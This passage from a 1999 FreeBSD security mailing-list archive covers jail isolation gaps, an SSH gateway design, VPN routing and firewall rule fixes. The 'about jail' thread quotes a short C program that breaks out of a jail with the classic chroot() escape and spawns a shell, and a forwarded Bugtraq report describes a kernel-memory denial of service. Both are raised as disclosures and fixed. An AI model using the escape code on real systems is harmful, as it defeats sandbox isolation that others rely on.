1999 15:38:29 +0200 From: Harold Gutch To: Alexander Bezroutchko , freebsd-security@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: about jail References: <199909251302.RAA58030@grendel.sovlink.ru> <19990925171712.A80535@zenon.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i In-Reply-To: <19990925171712.A80535@zenon.net>; from Alexander Bezroutchko on Sat, Sep 25, 1999 at 05:17:12PM +0400 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, Sep 25, 1999 at 05:17:12PM +0400, Alexander Bezroutchko wrote: > * it is possible to escape from jail > Following program escapes from jail (tested under 4.0-19990918-CURRENT): > > /* --- start of example ------------------------- */ > #include > #include > > const char *shell = "/bin/sh"; > const char *lowerdir = "/tmp"; > > int main() { > int i; > > assert(chdir("/") != -1); > assert(chroot(lowerdir) != -1); > for (i = 0; i < 32; i++) > assert(chdir("..") != -1); > assert(chroot(".") != -1); > > assert(execl(shell, shell, NULL) != -1); > }; > /* --- end of example --------------------------- */ > I don't run -CURRENT, so I can't test this - but this is the standard chroot()-breakout, and you're saying that using it you can break out of a _jail_ aswell ? Or are you simply mixing up jail() and chroot() ? bye, Harold -- Sleep is an abstinence syndrome wich occurs due to lack of caffein. Wed Mar 4 04:53:33 CET 1998 #unix, ircnet To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Sep 25 7:31: 1 1999 Delivered-To: freebsd-security@freebsd.org Received: from gw.nectar.com (gw.nectar.com [209.98.143.44]) by hub.freebsd.org (Postfix) with ESMTP id 2EAA014CB5; Sat, 25 Sep 1999 07:30:58 -0700 (PDT) (envelope-from nectar@nectar.com) Received: from spawn.nectar.com (localhost [127.0.0.1]) by gw.nectar.com (Postfix) with ESMTP id 0D60BBE08; Sat, 25 Sep 1999 09:32:32 -0500 (CDT) X-Mailer: exmh version 2.0.2 2/24/98 X-PGP-RSAfprint: 00 F9 E6 A2 C5 4D 0A 76 26 8B 8B 57 73 D0 DE EE X-PGP-RSAkey: http://www.nectar.com/nectar-rsa.txt X-PGP-DSSfprint: AB2F 8D71 A4F4 467D 352E 8A41 5D79 22E4 71A2 8C73 X-PGP-DHfprint: 2D50 12E5 AB38 60BA AF4B 0778 7242 4460 1C32 F6B1 X-PGP-DH-DSSkey: http://www.nectar.com/nectar-dh-dss.txt From: Jacques Vidrine To: Harold Gutch Cc: Alexander Bezroutchko , freebsd-security@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG, nectar@nectar.com In-reply-to: <19990925153829.B14097@foobar.franken.de> References: <199909251302.RAA58030@grendel.sovlink.ru> <19990925171712.A80535@zenon.net> <19990925153829.B14097@foobar.franken.de> Subject: Re: about jail Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 25 Sep 1999 09:32:32 -0500 Message-Id: <19990925143233.0D60BBE08@gw.nectar.com> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 25 September 1999 at 15:38, Harold Gutch wrote: > I don't run -CURRENT, so I can't test this - but this is the > standard chroot()-breakout, and you're saying that using it you > can break out of a _jail_ aswell ? Or are you simply mixing up > jail() and chroot() ? > > bye, > Harold jail() calls chroot() internally. Jacques Vidrine / n@nectar.com / nectar@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Sep 25 8:56:53 1999 Delivered-To: freebsd-security@freebsd.org Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44]) by hub.freebsd.org (Postfix) with ESMTP id DEFF414E5A for ; Sat, 25 Sep 1999 08:55:28 -0700 (PDT) (envelope-from Cy.Schubert@uumail.gov.bc.ca) Received: (from daemon@localhost) by point.osg.gov.bc.ca (8.8.7/8.8.8) id IAA08613 for ; Sat, 25 Sep 1999 08:55:27 -0700 Received: from passer.osg.gov.bc.ca(142.32.110.29) via SMTP by point.osg.gov.bc.ca, id smtpda08611; Sat Sep 25 08:55:15 1999 Received: (from uucp@localhost) by passer.osg.gov.bc.ca (8.9.3/8.9.1) id IAA02103; Sat, 25 Sep 1999 08:53:45 -0700 (PDT) Message-Id: <199909251553.IAA02103@passer.osg.gov.bc.ca> Received: from localhost.osg.gov.bc.ca(127.0.0.1), claiming to be "passer.osg.gov.bc.ca" via SMTP by localhost.osg.gov.bc.ca, id smtpdPy2093; Sat Sep 25 08:52:56 1999 X-Mailer: exmh version 2.0.2 2/24/98 Reply-To: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-OS: FreeBSD 3.3-RELEASE X-Sender: cy To: Fernando Schapachnik Cc: freebsd-security@FreeBSD.ORG Subject: Re: FreeBSD-specific denial of service (fwd) In-reply-to: Your message of "Fri, 24 Sep 1999 12:14:46 -0300." <199909241514.MAA15064@ns1.sminter.com.ar> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Date: Sat, 25 Sep 1999 08:52:56 -0700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <199909241514.MAA15064@ns1.sminter.com.ar>, Fernando = Schapachnik wri tes: > Anyone has a patch for this? > = > Regards. > = > ----- Forwarded message from Charles M. Hannum ----- > = > >From owner-bugtraq@SECURITYFOCUS.COM Wed Sep 22 14:55:30 1999 > Approved-By: aleph1@SECURITYFOCUS.COM > Delivered-To: bugtraq@lists.securityfocus.com > Delivered-To: bugtraq@securityfocus.com > Message-ID: <199909211950.PAA09009@bill-the-cat.mit.edu> > Date: Tue, 21 Sep 1999 15:50:58 -0400 > Reply-To: "Charles M. Hannum" > Sender: Bugtraq List > From: "Charles M. Hannum" > Subject: FreeBSD-specific denial of service > X-To: bugtraq@securityfocus.com > To: BUGTRAQ@SECURITYFOCUS.COM > = > [Resending once, since it's been 10.5 days...] > = > Here's an interesting denial-of-service attack against FreeBSD >=3D3.0 > systems. It abuses a flaw in the `new' FreeBSD vfs_cache.c; it has no > way to purge entries unless the `vnode' (e.g. the file) they point to > is removed from memory -- which generally doesn't happen unless a > certain magic number of `vnodes' is in use, and never happens when the > `vnode' (i.e. file) is open. Thus it's possible to chew up an > arbitrary amount of wired kernel memory relatively simply. [exploit code deleted -- see previous post] This has been fixed in 3.3 and I've tested it. No crash even while = running some other memory intensive work on the box. Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Open Systems Group Internet: Cy.Schubert@uumail.gov.bc.ca ITSD Cy.Schubert@gems8.gov.bc.ca Province of BC "e**(i*pi)+1=3D0" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Sep 25 11:56: 6 1999 Delivered-To: freebsd-security@freebsd.org Received: from cc942873-a.ewndsr1.nj.home.com (cc942873-a.ewndsr1.nj.home.com [24.2.89.207]) by hub.freebsd.org (Postfix) with ESMTP id 83B7614EED for ; Sat, 25 Sep 1999 11:56:03 -0700 (PDT) (envelope-from cjc@cc942873-a.ewndsr1.nj.home.com) Received: (from cjc@localhost) by cc942873-a.ewndsr1.nj.home.com (8.9.3/8.9.3) id OAA39078; Sat, 25 Sep 1999 14:58:56 -0400 (EDT) (envelope-from cjc) From: "Crist J. Clark" Message-Id: <199909251858.OAA39078@cc942873-a.ewndsr1.nj.home.com> Subject: Re: Secure gateway to intranet In-Reply-To: <4.1.19990923205643.0095ce70@mail.thegrid.net> from The Mad Scientist at "Sep 23, 1999 09:45:21 pm" To: madscientist@thegrid.net (The Mad Scientist) Date: Sat, 25 Sep 1999 14:58:56 -0400 (EDT) Cc: freebsd-security@FreeBSD.ORG Reply-To: cjclark@home.com X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The Mad Scientist wrote, > All, > I am looking for a secure way to log into a machine on an intranet. > Here's what I have in mind. > A user ssh-es to a machine on the boarder network. Her shell is a > script/program that asks for a name of an internal machine, then ssh-es to > that machine after an authentication. This way, I could only open the > border and internal routers up to that machine and a proxy server and I > could have a log of who goes where. All seems quite reasonable. > I'd also like to be able to set up > some kind of acl in the proggie/script that dictates which users can go to > which machines. Hmmm... Is there a reason not to just let ssh take care of this for you? That is, have the hosts on the other end only accept certain users? > For authentication, a username/pass will do for now, but > later I'd like to expand it to some kind of one time card. Some kind of > transparent secure file transfer would also be great. Why not use the ssh-agent forwarding to do this? > Now, here's what I am interested in knowing. What would be a simple and > secure way to implement this. (I was thinking of perl) What sort of > things should I be wary of when setting this up? Is this even > advisable? It would not be too difficult to implement this. Perl? Heck, I'd just use a shell script. There really are not enough details to know what you should be wary of: How many users? Does each have an account on the gateway (or do you want them to use some common access acount)? Are the users "trusted" (if they are, heck, give 'em a shell to type in the 'ssh internal-host' on their own)? If not, just how closely do you need to watch these people? Is it advisable? Well, if the internal network is NATed, this is advisable since it is about the only way to get in there. If it is not NATed, this may be more work (and uses some more resources) than just poking some holes in a firewall to let these people in to certain machines. But still, if these people do not have fixed IPs, then the firewall might need to be opened a bit wider than you are comfortable with to let them in. -- Crist J. Clark cjclark@home.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Sep 25 12:14:18 1999 Delivered-To: freebsd-security@freebsd.org Received: from puck.nether.net (puck.nether.net [204.42.254.5]) by hub.freebsd.org (Postfix) with ESMTP id 9993115316 for ; Sat, 25 Sep 1999 12:14:13 -0700 (PDT) (envelope-from irvingp@dead-dog.com) Received: from someone claiming to be localhost (irvingp@localhost) by puck.nether.net (8.9.3/8.7.3) with ESMTP id PAA21954; Sat, 25 Sep 1999 15:14:03 -0400 (envelope-from irvingp@dead-dog.com) Date: Sat, 25 Sep 1999 15:14:03 -0400 (EDT) From: Irving Popovetsky X-Sender: irvingp@puck.nether.net To: cjclark@home.com Cc: The Mad Scientist , freebsd-security@FreeBSD.ORG Subject: Re: Secure gateway to intranet In-Reply-To: <199909251858.OAA39078@cc942873-a.ewndsr1.nj.home.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org If you need another heavy-duty layer of security, and you're willing to pay, you may want to check out the RSA SecurID card stuff. ssh and many other things can be setup to auth through an ACE server. http://www.securid.com -Irving On Sat, 25 Sep 1999, Crist J. Clark wrote: > Date: Sat, 25 Sep 1999 14:58:56 -0400 (EDT) > From: Crist J. Clark > Reply-To: cjclark@home.com > To: The Mad Scientist > Cc: freebsd-security@FreeBSD.ORG > Subject: Re: Secure gateway to intranet > > The Mad Scientist wrote, > > All, > > I am looking for a secure way to log into a machine on an intranet. > > Here's what I have in mind. > > A user ssh-es to a machine on the boarder network. Her shell is a > > script/program that asks for a name of an internal machine, then ssh-es to > > that machine after an authentication. This way, I could only open the > > border and internal routers up to that machine and a proxy server and I > > could have a log of who goes where. > > All seems quite reasonable. > > > I'd also like to be able to set up > > some kind of acl in the proggie/script that dictates which users can go to > > which machines. > > Hmmm... Is there a reason not to just let ssh take care of this for > you? That is, have the hosts on the other end only accept certain > users? > > > For authentication, a username/pass will do for now, but > > later I'd like to expand it to some kind of one time card. Some kind of > > transparent secure file transfer would also be great. > > Why not use the ssh-agent forwarding to do this? > > > Now, here's what I am interested in knowing. What would be a simple and > > secure way to implement this. (I was thinking of perl) What sort of > > things should I be wary of when setting this up? Is this even > > advisable? > > It would not be too difficult to implement this. Perl? Heck, I'd just > use a shell script. There really are not enough details to know what > you should be wary of: How many users? Does each have an account on > the gateway (or do you want them to use some common access acount)? > Are the users "trusted" (if they are, heck, give 'em a shell to type > in the 'ssh internal-host' on their own)? If not, just how closely do > you need to watch these people? > > Is it advisable? Well, if the internal network is NATed, this is > advisable since it is about the only way to get in there. If it is > not NATed, this may be more work (and uses some more resources) than > just poking some holes in a firewall to let these people in to certain > machines. But still, if these people do not have fixed IPs, then the > firewall might need to be opened a bit wider than you are comfortable > with to let them in. > -- > Crist J. Clark cjclark@home.com > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > -Irving Popovetsky IP Security Operations Dead Dog Consulting Sprint Corporate Security Centre for the advancement of Evil http://www.iad.dead-dog.com geek: /'gEk/, noun 1. a carnival performer often billed as a "wild man" whose act usually includes biting the head off a live chicken or snake 2. a person often of an intellectual bent who is disapproved of "Not convention but stupid and rigid convention is the foe" Fashion is a form of ugliness so intolerable that we have to alter it every six months. -- Oscar Wilde To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Sep 25 12:49:27 1999 Delivered-To: freebsd-security@freebsd.org Received: from bekool.com (ns2.netquick.net [216.48.34.2]) by hub.freebsd.org (Postfix) with ESMTP id E0DB814CC7; Sat, 25 Sep 1999 12:49:20 -0700 (PDT) (envelope-from trouble@hackfurby.com) Received: from bastille.netquick.net ([216.48.32.159] helo=hackfurby.com) by bekool.com with esmtp (Exim 3.03 #1) id 11Uy7D-0006Xf-00; Sat, 25 Sep 1999 20:08:15 +0000 Message-ID: <37EE876A.C55AC0E0@hackfurby.com> Date: Sun, 26 Sep 1999 15:51:54 -0500 From: TrouBle Reply-To: trouble@hackfurby.com X-Mailer: Mozilla 4.61 [en] (X11; I; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Poul-Henning Kamp Cc: Alexander Bezroutchko , freebsd-security@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: about jail References: <11744.938266471@critter.freebsd.dk> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org there is a simplistic way to create chrooted/jailed virtual servers for many clients domains... without getting into the nasty of bsd code.... i do it daily with one small program.. and have all services available to many virtual customers/domains on a box. that to the customer looks like 1 system, yet contains over 500 customers. Poul-Henning Kamp wrote: > In message <19990925171712.A80535@zenon.net>, Alexander Bezroutchko writes: > > >* ping, traceroute doesn't work due to lack of permissionis to create icmp socket. > > I think it is simple to make workaround for such problems: > > create a daemon listening on a unix domain socket for request from a jail. > > Daemon will take request and the pid of requesting process, validate it, > > process and return answer to client. > > That would work. > > >* only one IP address is available in jail > > It is acceptable limitation, but some daemons would like to use localhost > > address (127.0.0.1). > > 127.0.0.1 is mapped to the jail address. telnet localhost does what > you'd expect it to. > > >* whole kernel MIB is readable, and kern.hostname is writable from jail > > I think we should restrict information about system available from jail -- > > leave readable only data required for proper work of libc > > functions like gethostname,getpagesize,sysconf, etc. > > kern.hostname only writes the name for that jail. > > > If we leave kern.hostname writable from jail, we should > > add new field to `struct jail', say `jailname'. > > It's called "p_prison->pr_host" and it was there from day #1. > > > And > > /proc//status must show this value. > > It already does. > > >* scheduling > > Scheduler must provide equal time quantum to each jail. I think > > something like "fair share scheduler" required. Is there any plans > > to implement such scheme in FreeBSD ? > > Not from me. > > >* resource limits > > Current resource limit scheme does not provide enough isolation of jails. > > no plans. > > >* it is possible to escape from jail > > Following program escapes from jail (tested under 4.0-19990918-CURRENT): > > You're right, I've overlooked that one. Will fix. > > >Does anybody already encountered and solved problems described above > >or have an ideas ? > > No, this is the first one I've heard about. > > -- > Poul-Henning Kamp FreeBSD coreteam member > phk@FreeBSD.ORG "Real hackers run -current on their laptop." > FreeBSD -- It will take a long time before progress goes too far! > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Sep 25 13:22:40 1999 Delivered-To: freebsd-security@freebsd.org Received: from lily.ezo.net (lily.ezo.net [206.102.130.13]) by hub.freebsd.org (Postfix) with ESMTP id EF4A2151FD for ; Sat, 25 Sep 1999 13:22:35 -0700 (PDT) (envelope-from jflowers@ezo.net) Received: from lily.ezo.net (jflowers@localhost.ezo.net [127.0.0.1]) by lily.ezo.net (8.8.7/8.8.7) with SMTP id QAA28047; Sat, 25 Sep 1999 16:22:15 -0400 (EDT) Date: Sat, 25 Sep 1999 16:22:15 -0400 (EDT) From: Jim Flowers To: "Theo Purmer (Tepucom)" Cc: "'freebsd-security@FreeBSD.ORG'" Subject: Re: skip and vpn In-Reply-To: <01BF06EA.77C24EC0@kantoor-1.tepucom.nl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Use different subnets for each of your internal rfc1918 networks and then route the opposite end subnet to your local skiphost tunnel end. Only the skiphost ACL record and external interface has to know about the opposite end routable address. Jim Flowers #4 ISP on C|NET, #1 in Ohio On Sat, 25 Sep 1999, Theo Purmer (Tepucom) wrote: > Hi all..... > > got a problem here with skip and a vpn > > ive got two gateways running ipf, ipnat and skip. > it all works the gateways are on the internet...(far apart) > > on the inside of the gateways im using rfc1918 > networks. I want to be able to go from one internal > network via the vpn (using skip for encryption) to > the other internal network. > > but i cannot just set up a route for the other internal > network using the other skip gateway. I then get arp > errors cuz it wants the other gateway to be on his > subnet > > anybody got any ideas as how to get the tunnel running? > > thanks > > theo purmer > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Sep 25 14:11:38 1999 Delivered-To: freebsd-security@freebsd.org Received: from mta1.snfc21.pbi.net (mta1.snfc21.pbi.net [206.13.28.122]) by hub.freebsd.org (Postfix) with ESMTP id 8432315661 for ; Sat, 25 Sep 1999 14:11:35 -0700 (PDT) (envelope-from dean@thegrid.net) Received: from remus ([63.193.246.169]) by mta1.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.1999.05.24.18.28.p7) with SMTP id <0FIM00MDSW75IN@mta1.snfc21.pbi.net> for freebsd-security@freebsd.org; Sat, 25 Sep 1999 14:11:33 -0700 (PDT) Date: Sat, 25 Sep 1999 13:33:28 -0700 From: Dean Subject: Re: Secure gateway to intranet In-reply-to: <199909251858.OAA39078@cc942873-a.ewndsr1.nj.home.com> X-Sender: i393382@mail.thegrid.net To: freebsd-security@freebsd.org Message-id: <4.1.19990925131428.0098f200@mail.thegrid.net> Message-id: <4.1.19990925131428.0098f200@mail.thegrid.net> MIME-version: 1.0 X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Content-type: text/plain; charset="us-ascii" References: <4.1.19990923205643.0095ce70@mail.thegrid.net> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 02:58 PM 9/25/99 -0400, you wrote: >The Mad Scientist wrote, >> All, >> I am looking for a secure way to log into a machine on an intranet. >> Here's what I have in mind. >> A user ssh-es to a machine on the boarder network. Her shell is a >> script/program that asks for a name of an internal machine, then ssh-es to >> that machine after an authentication. This way, I could only open the >> border and internal routers up to that machine and a proxy server and I >> could have a log of who goes where. > >All seems quite reasonable. > >> I'd also like to be able to set up >> some kind of acl in the proggie/script that dictates which users can go to >> which machines. > >Hmmm... Is there a reason not to just let ssh take care of this for >you? That is, have the hosts on the other end only accept certain >users? I'd like to have a "landing pad" for centralization of logging and security. I also would like to be able to let users come from anywhere on the Internet, so setting up an allowed list would be a big pain. ^_^ The other machines on my public net and intranet would only allow logins (ssh) from the landing pad. >> For authentication, a username/pass will do for now, but >> later I'd like to expand it to some kind of one time card. Some kind of >> transparent secure file transfer would also be great. > >Why not use the ssh-agent forwarding to do this? Because I'm not familiar enough with ssh, yet. But I will be. >> Now, here's what I am interested in knowing. What would be a simple and >> secure way to implement this. (I was thinking of perl) What sort of >> things should I be wary of when setting this up? Is this even >> advisable? > >It would not be too difficult to implement this. Perl? Heck, I'd just >use a shell script. There really are not enough details to know what >you should be wary of: How many users? Does each have an account on >the gateway (or do you want them to use some common access acount)? >Are the users "trusted" (if they are, heck, give 'em a shell to type >in the 'ssh internal-host' on their own)? If not, just how closely do >you need to watch these people? I'd like to have any number of untrusted users. Ideally, I'd give everyone an one-time-pad and have them log in to the landing pad with that. There would be further authentication depending on which host they wanted to log into from the landing pad. I want to be able to watch my users very closely. (But maintain a balance between user's anonymonitity and logging their activity, but that's for another mail to freebsd-philosophy) >Is it advisable? Well, if the internal network is NATed, this is >advisable since it is about the only way to get in there. If it is >not NATed, this may be more work (and uses some more resources) than >just poking some holes in a firewall to let these people in to certain >machines. But still, if these people do not have fixed IPs, then the >firewall might need to be opened a bit wider than you are comfortable >with to let them in. >-- >Crist J. Clark cjclark@home.com ------------------------------------------------------------------------------- Staccato signals of constant information. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Sep 25 14:12:54 1999 Delivered-To: freebsd-security@freebsd.org Received: from mta1.snfc21.pbi.net (mta1.snfc21.pbi.net [206.13.28.122]) by hub.freebsd.org (Postfix) with ESMTP id 81E2015097 for ; Sat, 25 Sep 1999 14:12:46 -0700 (PDT) (envelope-from madscientist@thegrid.net) Received: from remus ([63.193.246.169]) by mta1.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.1999.05.24.18.28.p7) with SMTP id <0FIM001H2W8XNK@mta1.snfc21.pbi.net> for freebsd-security@freebsd.org; Sat, 25 Sep 1999 14:12:35 -0700 (PDT) Date: Sat, 25 Sep 1999 14:13:08 -0700 From: The Mad Scientist Subject: Re: Secure gateway to intranet X-Sender: i289861@mail.thegrid.net To: freebsd-security@freebsd.org Message-id: <4.1.19990925140503.009625c0@mail.thegrid.net> MIME-version: 1.0 X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Content-type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 02:58 PM 9/25/99 -0400, you wrote: >The Mad Scientist wrote, >> All, >> I am looking for a secure way to log into a machine on an intranet. >> Here's what I have in mind. >> A user ssh-es to a machine on the boarder network. Her shell is a >> script/program that asks for a name of an internal machine, then ssh-es to >> that machine after an authentication. This way, I could only open the >> border and internal routers up to that machine and a proxy server and I >> could have a log of who goes where. > >All seems quite reasonable. > >> I'd also like to be able to set up >> some kind of acl in the proggie/script that dictates which users can go to >> which machines. > >Hmmm... Is there a reason not to just let ssh take care of this for >you? That is, have the hosts on the other end only accept certain >users? I'd like to have a "landing pad" for centralization of logging and security. I also would like to be able to let users come from anywhere on the Internet, so setting up an allowed list would be a big pain. ^_^ The other machines on my public net and intranet would only allow logins (ssh) from the landing pad. (Intranet isn't the word for it. More like a private net or secure net.) >> For authentication, a username/pass will do for now, but >> later I'd like to expand it to some kind of one time card. Some kind of >> transparent secure file transfer would also be great. > >Why not use the ssh-agent forwarding to do this? Because I'm not familiar enough with ssh, yet. But I will be. >> Now, here's what I am interested in knowing. What would be a simple and >> secure way to implement this. (I was thinking of perl) What sort of >> things should I be wary of when setting this up? Is this even >> advisable? > >It would not be too difficult to implement this. Perl? Heck, I'd just >use a shell script. There really are not enough details to know what >you should be wary of: How many users? Does each have an account on >the gateway (or do you want them to use some common access acount)? >Are the users "trusted" (if they are, heck, give 'em a shell to type >in the 'ssh internal-host' on their own)? If not, just how closely do >you need to watch these people? I'd like to have any number of untrusted users. Ideally, I'd give everyone an one-time-pad and have them log in to the landing pad with that. There would be further authentication depending on which host they wanted to log into from the landing pad. I want to be able to watch my users very closely. (But maintain a balance between user's anonymonitity and logging their activity, but that's for another mail to freebsd-philosophy.) >Is it advisable? Well, if the internal network is NATed, this is >advisable since it is about the only way to get in there. If it is >not NATed, this may be more work (and uses some more resources) than >just poking some holes in a firewall to let these people in to certain >machines. But still, if these people do not have fixed IPs, then the >firewall might need to be opened a bit wider than you are comfortable >with to let them in. Nat-ing the internal would add another layer of security, so I will probably be doing just that. I guess what it boils down to is this: I would like to give any number of untrusted users access to a limited number of machines and a small number of operations on those machines. Sort of like a very restrictive shell server. One of the things I'd like to allow is file transfer between my users' machines and a server on the private net without having to require the user's to set up any kind of special servers/software on their own machines. My admins will also be using the landing pad to log into the public-net servers (mail, www, proxy, etc) to take care of them. >-- >Crist J. Clark cjclark@home.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Sep 25 14:45:23 1999 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 1E4CB14E36 for ; Sat, 25 Sep 1999 14:45:20 -0700 (PDT) (envelope-from brett@lariat.org) Received: from mustang (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id PAA13845; Sat, 25 Sep 1999 15:27:05 -0600 (MDT) Message-Id: <4.2.0.58.19990925150438.047285f0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Sat, 25 Sep 1999 15:07:15 -0600 To: Harold Gutch , Nate Williams From: Brett Glass Subject: Re: default rc.firewall Cc: Monte Westlund , freebsd-security@FreeBSD.ORG In-Reply-To: <19990925125108.A13871@foobar.franken.de> References: <4.2.0.58.19990924113626.0480db00@localhost> <4.2.0.58.19990924111600.04809a90@localhost> <3.0.5.32.19990923152232.007c94c0@memes.com> <4.2.0.58.19990924111600.04809a90@localhost> <199909241733.LAA27644@mt.sri.com> <4.2.0.58.19990924113626.0480db00@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 12:51 PM 9/25/99 +0200, Harold Gutch wrote: >But in this case you don't want to allow SYN-Packets coming from >the inside with *source* port 80, but with *destination* port 80. > >Instead of > > $fwcmd add pass tcp from ${oip} 80 to any setup > >you'd want > > $fwcmd add pass tcp from ${oip} to any 80 setup Thank you for catching that typo! Yes, when you're going outward, you want to go TO port 80. A proxy would be a good way to go for HTTP in particular, but I'm not sure where one would get one for other protocols. Most of the stand-alone FTP proxies out there seem fairly weak. I've heard that there's at least one firewall program with FTP proxying built in, but I haven't tried it. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Sep 25 14:50:54 1999 Delivered-To: freebsd-security@freebsd.org Received: from relay2.aha.ru (relay2.aha.ru [195.2.64.35]) by hub.freebsd.org (Postfix) with ESMTP id 89D1414CE8; Sat, 25 Sep 1999 14:50:43 -0700 (PDT) (envelope-from abb@zenon.net) Received: from pb.hq.zenon.net (pb [195.2.64.18]) by relay2.aha.ru (8.9.3/8.9.3/aha-r/0.04B) with ESMTP id BAA59467; Sun, 26 Sep 1999 01:50:07 +0400 (MSD) Received: from mp.hq.zenon.net (mp [192.168.9.150]) by pb.hq.zenon.net (8.9.3/8.9.3) with ESMTP id BAA86676; Sun, 26 Sep 1999 01:50:07 +0400 (MSD) Received: (from abb@localhost) by mp.hq.zenon.net (8.9.3/8.9.3) id BAA23868; Sun, 26 Sep 1999 01:50:07 +0400 (MSD) Message-ID: <19990926015006.B22850@zenon.net> Date: Sun, 26 Sep 1999 01:50:06 +0400 From: Alexander Bezroutchko To: trouble@hackfurby.com, Poul-Henning Kamp Cc: freebsd-security@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: about jail References: <11744.938266471@critter.freebsd.dk> <37EE876A.C55AC0E0@hackfurby.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i In-Reply-To: <37EE876A.C55AC0E0@hackfurby.com>; from TrouBle on Sun, Sep 26, 1999 at 03:51:54PM -0500 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, Sep 26, 1999 at 03:51:54PM -0500, TrouBle wrote: > there is a simplistic way to create chrooted/jailed virtual servers for many clients > domains... without getting into the nasty of bsd code.... i do it daily with one small > program.. and have all services available to many virtual customers/domains on a box. > that to the customer looks like 1 system, yet contains over 500 customers. > What FreeBSD version and hardware do you use ? How did you solve problems described in my first letter ? -- Alexander Bezroutchko, Systems Administrator, Zenon N.S.P. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Sep 25 14:59:50 1999 Delivered-To: freebsd-security@freebsd.org Received: from relay2.aha.ru (relay2.aha.ru [195.2.64.35]) by hub.freebsd.org (Postfix) with ESMTP id 2F43C14CE8; Sat, 25 Sep 1999 14:59:38 -0700 (PDT) (envelope-from abb@zenon.net) Received: from pb.hq.zenon.net (pb [195.2.64.18]) by relay2.aha.ru (8.9.3/8.9.3/aha-r/0.04B) with ESMTP id BAA59659; Sun, 26 Sep 1999 01:59:29 +0400 (MSD) Received: from mp.hq.zenon.net (mp [192.168.9.150]) by pb.hq.zenon.net (8.9.3/8.9.3) with ESMTP id BAA86821; Sun, 26 Sep 1999 01:59:29 +0400 (MSD) Received: (from abb@localhost) by mp.hq.zenon.net (8.9.3/8.9.3) id BAA24144; Sun, 26 Sep 1999 01:59:28 +0400 (MSD) Message-ID: <19990926015928.C22850@zenon.net> Date: Sun, 26 Sep 1999 01:59:28 +0400 From: Alexander Bezroutchko To: Poul-Henning Kamp Cc: freebsd-security@FreeBSD.ORG, 